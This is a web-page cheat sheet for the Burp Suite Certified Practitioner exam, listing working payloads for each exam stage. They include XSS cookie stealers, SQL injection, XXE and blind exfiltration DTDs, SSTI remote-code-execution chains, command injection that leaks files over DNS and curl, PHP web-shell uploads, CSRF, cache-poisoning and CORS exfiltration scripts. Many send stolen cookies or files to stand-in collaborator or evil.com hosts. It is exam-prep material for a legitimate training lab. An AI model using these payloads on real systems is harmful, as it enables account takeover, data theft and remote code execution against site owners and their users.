XSS SQLi SSRF Deserialization

BSCP Exam Cheatsheet

All vulnerability categories for the Burp Suite Certified Practitioner exam

3 stages
4hr exam
Updated 2026

🎯 BSCP Exam Flow

Stage 1: User Stage 2: Admin Stage 3: RCE/LFI

2 apps × 3 stages = 6 total. Must complete ALL 6 to pass!

1

Stage 1: Get User Access

Log into ANY non-admin user account. Check for these vulnerabilities:

XSS → Cookie Stealing

<script>fetch('https://BURP-COLLAB/'+document.cookie)</script>

Password Reset Poisoning

Host: YOUR-EXPLOIT-SERVER

Web Cache Poisoning

X-Forwarded-Host: exploit.com

OAuth Account Takeover

redirect_uri=https://exploit.com
XSS Cookie Stealer (Exploit Server)
<script> location='https://BURP-COLLABORATOR/?c='+document.cookie </script>
DOM XSS via postMessage
<iframe src="https://TARGET" onload="this.contentWindow.postMessage('<img src=x onerror=alert(1)>','*')"></iframe>

⚠️ Check the Exploit Server

Most Stage 1 attacks require delivering a payload via the exploit server. Always check the access log for callbacks!

2

Stage 2: Escalate to Admin

Access /admin or compromise the admin account. Look for:

SQL Injection

' UNION SELECT username,password FROM users--

CSRF → Admin Action

<form action="/admin/upgrade" method="POST">

JWT None Algorithm

{"alg":"none"}

IDOR/Access Control

/admin?user=administrator
CSRF Auto-Submit Form
<form action="https://TARGET/admin/upgrade" method="POST"> <input type="hidden" name="username" value="wiener"> </form> <script>document.forms[0].submit()</script>
JWT Algorithm Confusion (RS256 → HS256)
# Use JWT Editor (Burp Extension) or jwtauditor.com (web-based) # Steps: 1. Get server's public key (/jwks.json) 2. Change header: "alg": "RS256" → "alg": "HS256" 3. Sign token with public key as HMAC secret 4. Modify payload: "sub": "administrator"

🔧 JWT Tools

jwtauditor.com (web-based) | jwt.io (decode/encode) | JWT Editor (Burp Extension)

3

Stage 3: Read Secret File

Read /home/carlos/secret and submit the contents.

SSRF (Port 6566!)

http://localhost:6566/home/carlos/secret

XXE

<!ENTITY xxe SYSTEM "file:///home/carlos/secret">

Path Traversal

../../../home/carlos/secret

OS Command Injection

; cat /home/carlos/secret
XXE to Read File
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///home/carlos/secret"> ]> <stockCheck><productId>&xxe;</productId></stockCheck>
SSTI (Jinja2/Twig)
# Jinja2 {{config.__class__.__init__.__globals__['os'].popen('cat /home/carlos/secret').read()}} # Twig {{['cat /home/carlos/secret']|filter('system')}}
4

XSS Payloads

Auto-Trigger Events

onerror, onload, onfocus, ontoggle

Best for Exam

<img src=x onerror=...> (most reliable)
Basic XSS Payloads
<script>alert(1)</script> <img src=x onerror=alert(1)> <svg onload=alert(1)> <body onload=alert(1)> <details open ontoggle=alert(1)> <input onfocus=alert(1) autofocus>
Cookie Stealer (Exploit Server)
<script> fetch('https://BURP-COLLAB/?c='+btoa(document.cookie)) </script> # Via image tag <img src=x onerror="fetch('https://BURP-COLLAB/?c='+document.cookie)"> # Via location redirect <script>location='https://BURP-COLLAB/?c='+document.cookie</script>
DOM XSS via Iframe (Auto-Trigger)
# onerror - most reliable <iframe src="https://TARGET/?search=<img src=x onerror=fetch('https://COLLAB?c='+document.cookie)>"></iframe> # onresize - trigger via iframe <iframe src="https://TARGET/?search=<body onresize=alert(1)>" onload="this.style.width='100px'"></iframe> # postMessage trigger <iframe src="https://TARGET/" onload="this.contentWindow.postMessage('<img src=x onerror=print()>','*')"></iframe>
AngularJS Expression Injection
# Look for ng-app directive in HTML {{$on.constructor('alert(1)')()}} # Cookie exfiltration (base64 encoded) {{$on.constructor('eval(atob("ZmV0Y2goLi4uKQ=="))')()}}
Password Capture via Autofill
<input name=username id=username> <input type=password name=password onchange="if(this.value.length)fetch('https://BURP-COLLAB',{ method:'POST', mode:'no-cors', body:username.value+':'+this.value });">
Bypass Techniques
# First bracket bypass (replace() only removes first) <><img src=x onerror=alert(1)> # Case variation <ScRiPt>alert(1)</ScRiPt> # SVG animate <svg><animatetransform onbegin=alert(1)> # Custom tag with focus <xss id=x onfocus=alert(1) tabindex=1>#x

✓ PortSwigger XSS Cheat Sheet

Use portswigger.net/web-security/cross-site-scripting/cheat-sheet for filter bypass techniques!

5

SQL Injection

UNION SQLi - Find Column Count
' ORDER BY 1-- ' ORDER BY 2-- ' ORDER BY 3-- ' UNION SELECT NULL-- ' UNION SELECT NULL,NULL--
Extract Users Table
' UNION SELECT username,password FROM users-- ' UNION SELECT username||':'||password,NULL FROM users--
Blind SQLi - Conditional Responses
' AND '1'='1 # True ' AND '1'='2 # False ' AND SUBSTRING(password,1,1)='a # Brute char
Blind SQLi - Time-Based
# PostgreSQL '; SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END-- # MySQL '; SELECT IF(1=1,SLEEP(10),0)-- # Oracle '; SELECT CASE WHEN (1=1) THEN 'a'||dbms_pipe.receive_message('a',10) ELSE NULL END FROM dual--
6

SSRF & XXE

SSRF Payloads

⚠️ EXAM-SPECIFIC TIP

On the exam, SSRF can access an internal file service on port 6566: http://localhost:6566/home/carlos/secret

Basic SSRF
# Exam-specific internal file service stockApi=http://localhost:6566/home/carlos/secret # Standard admin access stockApi=http://localhost/admin stockApi=http://127.0.0.1/admin stockApi=http://192.168.0.1/admin
SSRF Bypass Techniques
# Double URL encoding http://127.1/%2561dmin # Alternative IP formats http://2130706433/ # Decimal http://0x7f000001/ # Hex http://017700000001/ # Octal # DNS rebinding (use your domain) http://attacker.com/ # Points to 127.0.0.1

XXE Payloads

Basic XXE File Read
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <stockCheck><productId>&xxe;</productId></stockCheck>
Blind XXE via External DTD
# In XML payload <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "https://EXPLOIT-SERVER/xxe.dtd"> %xxe; ]> # xxe.dtd on exploit server <!ENTITY % file SYSTEM "file:///home/carlos/secret"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'https://BURP-COLLAB/?x=%file;'>"> %eval; %exfil;
7

Insecure Deserialization

Java - ysoserial
java -jar ysoserial.jar CommonsCollections4 'cat /home/carlos/secret' | base64
PHP Object Injection
O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}
Ruby ERB Template Gadget
# Look for session cookies starting with: BAh... # Base64-encoded Ruby Marshal # Use ysoserial-net or craft gadget chain

⚠️ Common Gadget Chains

CommonsCollections1-7, Spring, JBoss, ROME, Jackson. Use Burp Scanner to detect!

8

Authentication Attacks

2FA Bypass - Direct Navigation
# Login with valid creds, then browse to: /my-account /account /profile
Brute Force MFA Code
# Use Turbo Intruder with 4-digit codes mfa-code=0000 to 9999 # Or use Burp Intruder with macro for session handling
Password Reset Token Manipulation
# Change Host header to your server Host: YOUR-EXPLOIT-SERVER # Or add X-Forwarded-Host X-Forwarded-Host: YOUR-EXPLOIT-SERVER # Check for token reuse / predictability
OAuth Redirect Manipulation
# Redirect URI bypass techniques redirect_uri=https://evil.com redirect_uri=https://TARGET.web-security-academy.net@evil.com redirect_uri=https://TARGET.web-security-academy.net/oauth?next=https://evil.com
9

Server-Side Template Injection

SSTI allows RCE by injecting template syntax. Test for templates, then use engine-specific payloads.

Detection Payloads
{{7*7}} ${7*7} <%= 7*7 %> #{7*7} *{7*7} ${{7*7}}
Jinja2 (Python) - RCE
# Read file directly {{ ''.__class__.__mro__[1].__subclasses__()[396]('/home/carlos/secret').read() }} # Via os.popen {{ config.__class__.__init__.__globals__['os'].popen('cat /home/carlos/secret').read() }} # Alternative with cycler {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
Twig (PHP) - RCE
# Filter-based execution {{['cat /home/carlos/secret']|filter('system')}} # Using exec callback {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /home/carlos/secret")}}
FreeMarker (Java) - RCE
<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("cat /home/carlos/secret")}
Velocity (Java) - RCE
#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('cat /home/carlos/secret')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
ERB (Ruby) - RCE
<%= system('cat /home/carlos/secret') %> <%= `cat /home/carlos/secret` %> <%= IO.popen('cat /home/carlos/secret').read %>
Tornado (Python) - RCE
{% import os %} {{ os.popen('cat /home/carlos/secret').read() }}

⚠️ SSTI Detection Tip

If {{7*7}} returns 49, SSTI is confirmed. Use HackTricks to identify the template engine.

10

HTTP Request Smuggling

CL.TE Smuggling
POST / HTTP/1.1 Host: TARGET Content-Type: application/x-www-form-urlencoded Content-Length: 13 Transfer-Encoding: chunked 0 GPOST / HTTP/1.1
TE.CL Smuggling
POST / HTTP/1.1 Host: TARGET Content-Type: application/x-www-form-urlencoded Content-Length: 4 Transfer-Encoding: chunked 5c GPOST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1 0

✓ Use HTTP Request Smuggler Extension

Install from BApp Store. It auto-detects smuggling vulnerabilities!

11

OS Command Injection

Target: Submit Feedback page - Email input field is most common location.

⚠️ CRITICAL EXAM TIP

Use DNS exfiltration with nslookup - most reliable method on the exam!

DNS Exfiltration (RECOMMENDED)
# Best payload for exam - DNS exfiltration ||nslookup -q=cname $(cat /home/carlos/secret).BURP-COLLABORATOR|| # Alternative with backticks ||nslookup `cat /home/carlos/secret`.BURP-COLLABORATOR|| # Check Burp Collaborator DNS logs for the secret
Basic Detection Payloads
||whoami|| |whoami| ;whoami; `whoami` $(whoami)
HTTP Exfiltration (Alternative)
||curl BURP-COLLABORATOR?c=$(cat /home/carlos/secret)|| ||wget BURP-COLLABORATOR?c=$(cat /home/carlos/secret)||
Bypass Techniques
# Space bypass cat${IFS}/home/carlos/secret cat%09/home/carlos/secret # Keyword filtering bypass c''at /home/carlos/secret c\at /home/carlos/secret

✓ Exam Strategy

DNS callbacks work even when HTTP is blocked. Secret appears as subdomain in Collaborator logs!

12

Path Traversal

Target: /image?filename= parameter

Basic Traversal Payloads
../../../home/carlos/secret ../../../../home/carlos/secret ../../../../../home/carlos/secret
Bypass Techniques
# Absolute path (bypasses relative check) /home/carlos/secret # Non-recursive stripping bypass ....//....//....//home/carlos/secret # URL encoding ..%2f..%2f..%2fhome%2fcarlos%2fsecret # Double URL encoding (if WAF blocks) ..%252f..%252f..%252fhome%252fcarlos%252fsecret # Null byte bypass ../../../home/carlos/secret%00.png

⚠️ Full URL Encoding

If you can read /etc/passwd but not /home/carlos/secret, try fully URL-encoding the entire payload!

13

File Upload Attacks

Target: Avatar/Image Upload functionality

Polyglot PHP Shell (Best Method)
# Create polyglot with exiftool - reads secret directly exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" poc.png -o polyglot.php # Alternative: Web shell with command execution exiftool -Comment="<?php system($_GET['cmd']); ?>" image.jpg -o shell.php # Usage: /files/avatars/shell.php?cmd=cat /home/carlos/secret
Magic Bytes Bypass (GIF Header)
GIF89a; <?php echo file_get_contents('/home/carlos/secret'); ?>
.htaccess Override (Apache)
# Upload .htaccess to make images execute as PHP AddType application/x-httpd-php .jpg .png .gif # Then upload shell.jpg with PHP code

Extension Bypass

.php5, .phtml, .phar, .pHp

Content-Type Bypass

Content-Type: image/jpeg
14

Clickjacking

Basic Clickjacking Template
<style> iframe { position:relative; width:700px; height:1000px; opacity:0.1; z-index:2; } div { position:absolute; top:800px; left:80px; z-index:1; } </style> <div>Click me</div> <iframe src="https://TARGET/my-account"></iframe>
Clickjacking + Pre-filled XSS
<style> iframe { position:relative; width:700px; height:1000px; opacity:0.1; z-index:2; } div { position:absolute; top:800px; left:80px; z-index:1; } </style> <div>Click me</div> <iframe src="https://TARGET/feedback?name=<img src=x onerror='print()'>&email=x@x.com&subject=test&message=test"></iframe>

⚠️ Positioning Tip

Set opacity: 0.5 to see alignment, then 0.0001 for final exploit. Adjust top and left values.

15

SSRF via PDF Generation

Target: Admin panel "Download report as PDF" feature

HTML Injection in PDF (Port 6566)
# Intercept PDF download request, modify JSON body: {"table-html":"<div><p>Report</p><iframe src='http://localhost:6566/home/carlos/secret'></iframe></div>"} # Secret appears in downloaded PDF

✓ Exam Pattern

Look for PDF download features in admin panel. Port 6566 is exam-specific internal service!

16

XSS Auto-Trigger Events

For iframe-based DOM XSS - events that auto-trigger without user interaction:

Event Element Auto? Syntax
onerror<img>✅ Yes<img src=x onerror=PAYLOAD>
onload<body>✅ Yes<body onload=PAYLOAD>
onfocus<input>✅ Yes<input onfocus=PAYLOAD autofocus>
ontoggle<details>✅ Yes<details open ontoggle=PAYLOAD>
onresize<body>✅ iframe<body onresize=PAYLOAD>
onanimationstart<div>✅ CSSstyle=animation-name:x
Best Auto-Trigger Payloads
# onerror - Most Reliable <iframe src="https://TARGET/?search=<img src=x onerror=fetch('https://COLLAB?c='%2bdocument.cookie)>"></iframe> # onresize - Trigger via iframe resize <iframe src="https://TARGET/?search=<body onresize=fetch('https://COLLAB?c='%2bdocument.cookie)>" onload="this.style.width='100px'"></iframe> # ontoggle - details element auto-open <iframe src="https://TARGET/?search=<details open ontoggle=fetch('https://COLLAB?c='%2bdocument.cookie)>"></iframe>

⚠️ URL Encoding

Use %2b for + in iframe src URLs for string concatenation!

17

CSRF Bypass Techniques

Target: Email/Password Change functionality → Reset admin password → Login

Method Change Bypass (POST → GET)
# Original POST request - try as GET GET /my-account/change-email?email=attacker@evil.com HTTP/1.1
Referer Header Bypass
<html> <meta name="referrer" content="never"> <body> <form action="https://TARGET/my-account/change-email" method="POST"> <input type="hidden" name="email" value="hacker@evil.com" /> </form> <script> history.pushState('', '', '/?TARGET.web-security-academy.net'); document.forms[0].submit(); </script> </body> </html>
SameSite Lax Bypass (Method Override)
# Use _method parameter to override /my-account/change-email?email=attacker@evil.com&_method=POST
Token Duplication via CRLF Injection
<img src="https://TARGET/?search=x%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite%3dNone" onerror="document.forms[0].submit();">

✓ Exam Flow

CSRF email change → Password reset to your email → Login as admin

18

Web Cache Poisoning

🔍 Detection

Look for: /resources/js/tracking.js AND X-Cache: hit in response

X-Forwarded-Host Poisoning
GET / HTTP/1.1 Host: TARGET.com X-Forwarded-Host: EXPLOIT-SERVER.com # Response will include: <script src="//EXPLOIT-SERVER.com/resources/js/tracking.js"></script>
Exploit Server: /resources/js/tracking.js
document.location='http://BURP-COLLAB/?c='+document.cookie

⚠️ CRITICAL

Send poisoned request 10+ times until cache is poisoned. Use Param Miner extension to find unkeyed inputs.

19

OAuth Authentication Attacks

Implicit Flow Bypass

Modify email/username in POST /authenticate request

Missing State (CSRF)

Force OAuth linking without state parameter

redirect_uri Manipulation
# Change redirect_uri to your server to steal auth code redirect_uri=https://EXPLOIT-SERVER.com/callback # Send CSRF PoC to victim, check Collaborator for code
Open Redirect Chain
# Find open redirect on target domain redirect_uri=https://TARGET.com/redirect?url=https://EXPLOIT-SERVER.com # Extract access token from URL fragment
20

CORS Exploitation

Check /accountDetails endpoint for CORS misconfiguration

Basic CORS Exploit (Reflected Origin)
<script> var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState == 4) { fetch('https://BURP-COLLAB/?data=' + btoa(xhr.responseText)); } }; xhr.open('GET', 'https://TARGET/accountDetails', true); xhr.withCredentials = true; xhr.send(); </script>
Null Origin Bypass (iframe sandbox)
<iframe sandbox="allow-scripts" srcdoc=" <script> var xhr = new XMLHttpRequest(); xhr.open('GET', 'https://TARGET/accountDetails', true); xhr.withCredentials = true; xhr.onload = function() { fetch('https://BURP-COLLAB/?data=' + btoa(xhr.responseText)); }; xhr.send(); </script> "></iframe>

✓ Detection

Check if Access-Control-Allow-Origin reflects your Origin header or allows null

21

Exam Quick Reference

Stage Pattern Attack
Stage 1Search barDOM XSS → Cookie theft
Stage 1Password resetHost header poisoning
Stage 2Advanced SearchSQLMap → Admin creds
Stage 2Profile JSONroleId/isAdmin manipulation
Stage 3Template editSSTI → file read
Stage 3Stock check XMLXXE → file read
Stage 3Feedback emailDNS exfil via nslookup
Stage 3PDF downloadSSRF iframe port 6566

📋 Stage 3 Quick Checklist

• Template editing visible? → SSTI

?ImgSize= parameter? → Command Injection

?filename= parameter? → Path Traversal

• XML stock check? → XXE

• PDF download feature? → SSRF via HTML injection

• Avatar upload? → Polyglot PHP shell

Cheatsheet reviewed by @dr34mhacks

🔗

Resources & Tools